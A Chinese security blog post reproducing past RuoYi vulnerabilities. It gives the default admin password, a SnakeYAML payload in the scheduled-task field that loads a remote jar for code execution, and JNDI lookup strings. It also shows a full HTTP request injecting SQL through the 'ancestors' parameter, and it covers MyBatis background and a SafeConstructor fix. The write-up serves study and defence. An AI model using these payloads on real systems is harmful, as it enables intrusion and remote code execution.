若依历史漏洞复现
1.前言
hvv或者是挖洞中经常看到有若依的站点。今天来复现总结一下相关漏洞。
2.历史漏洞
2.1 若依V4.6.0后台RCE
2.1.1漏洞信息
2.1.2漏洞利用
前台的弱口令,或者初始密码一般为admin/admin123
进入后台的定时任务这里,可以发现调用目标字符串的字段。
这个地方的代码位置是
假设我们输入com.hhddj1.hhddj2.hhddj3()
我们得到的beanName为com.hhddj1.hhddj2
methodName为hhddj3
methodParams为[]
可以看到最后执行是靠Class.forName(beanName).newInstance()
来实例化对象。然后再调用方法。想要通过它来实例化对象必须有一个无参构造函数。且是public类型。
因为Runtime类的构造函数是私有的,所以也不能获取到Runtime对象。
ProcessBuilder也因为没有无参构造函数而不能使用。
这里有个符合条件的类 Yaml类
恰好有个无参的构造函数。因此我们可以得到这个类。
所以我们直接使用里面的load函数。来加载远程jar包。
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://ip/yaml-payload.jar"]
]]
]')
其实这里不仅http协议可以用,file协议和ftp协议也可以用。用pyftpdlib启动一个ftp即可。
file协议需要把文件上传到靶机上然后本地加载。
关于这个漏洞的分析https://www.cnblogs.com/nice0e3/p/14514882.html
exp源码https://github.com/artsploit/yaml-payload
弹出计算器
当然,这里还可以用一些别的类打jndi 比如
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')
2.1.3修复yaml反序列化
如何修复yaml反序列化漏洞?
加入new SafeConstructor()
类进行过滤
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://ip:1234/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor()); //加入new SafeConstructor()类进行过滤
yaml.load(context);
}
}
再次进行反序列化会抛异常。
再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。
2.2 sql注入
2.2.1漏洞信息
RuoYi <= v4.6.1
存在SQL注入漏洞。
正好在这个漏洞中,来学习一下Mybatis的相关注入和挖掘方法。
2.2.2Mybatis
2.2.2.1关于Mybatis
Mybatis是个对jdbc进行简单封装的持久层框架。MyBatis 使用简单的 XML或注解用于配置和原始映射(更多的是以xml方式写入到xml文件中),将接口和 Java 的POJOs(Plain Ordinary Java Objects,普通的 Java对象)映射成数据库中的记录。
2.2.2.2Mybatis框架架构
(1)加载配置:配置来源于两个地方,一处是配置文件,一处是Java代码的注解,将SQL的配置信息加载成为一个个MappedStatement对象(包括了传入参数映射配置、执行的SQL语句、结果映射配置),存储在内存中。
(2)SQL解析:当API接口层接收到调用请求时,会接收到传入SQL的ID和传入对象(可以是Map、JavaBean或者基本数据类型),Mybatis会根据SQL的ID找到对应的MappedStatement,然后根据传入参数对象对MappedStatement进行解析,解析后可以得到最终要执行的SQL语句和参数。
(3)SQL执行:将最终得到的SQL和参数拿到数据库进行执行,得到操作数据库的结果。
(4)结果映射:将操作数据库的结果按照映射的配置进行转换,可以转换成HashMap、JavaBean或者基本数据类型,并将最终结果返回。
2.2.2.2Mybatis配置文件以及sql映射
Mybatis的全局配置文件——SqlMapConfig.xml
。
在SqlMapConfig.xml
中配置了dataSource
(数据源)、mappers
(映射器)等,内容如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<environments default="development">
<environment id="development">
<transactionManager type="JDBC" />
<!-- 数据库连接池 -->
<dataSource type="POOLED">
<property name="driver" value="com.mysql.jdbc.driver" />
<property name="url" value="jdbc:mysql://localhost:3306/mybatis?characterEncoding=utf-8" />
<property name="username" value="xx" />
<property name="password" value="xx" />
</dataSource>
</environment>
</environments>
<!-- 加载映射文件 -->
<mappers>
<mapper resource="mybatistet/User.xml" />
</mappers>
</configuration>
其中,加载的映射文件mybatistet/User.xml
中定义了sql语句与po类的映射关系。po类通常与数据库中的数据表相照应。比如定义User类
package mybatis;
public class User {
public int id;
public String name;
public int age;
public String email;
}
举例,根据id查询用户,则在映射文件mybatistet/User.xml
中进行以下配置:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="mybatistest">
</mapper>
<select id="findUserById" parameterType="int" resultType="mybatis.User">
select * from user where id = #{id}
</select>
parameterType
:定义输入到sql中的映射类型,#{id}
表示使用preparedstatement
预处理设置占位符号并将输入变量id传到sql。
resultType
:定义结果映射类型。
其中,在进行sql语句查询是,MyBatis支持两种参数符号,一种是#
,另一种是$
。#
使用预编译向占位符中设置值,可有效防止sql注入。$
使用拼接SQL,也是触发sql注入的关键。
2.2.3漏洞分析
首先查看ruoyi的配置,这里有全局配置和mapper.xml映射文件的位置
于是可以全局搜索带有"$字符的文件
最终定位到
发现这里很明显ancestors
参数存在sql注入。那么如何触发这个update数据操作呢?
首先看这个文件上面的<mapper namespace="com.ruoyi.system.mapper.SysDeptMapper">
定位到DAO层。
然后在这个接口中找到这个方法
我们看一下在哪里调用了这个方法
com.ruoyi.system.service.impl.SysDeptServiceImpl
最后定位到了这里
可以触发该调用。
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1b3960f0-fd75-4bc5-a130-9e822c5c9e5d ;rememberMe=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
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
此时的搜索语句update sys_dept SET status = ?, update_by = ?, update_time = sysdate() where dept_id in (0)or(extractvalue(1,concat((select user()))));#)
还有别的地方也存在sql注入。这里就不细说了。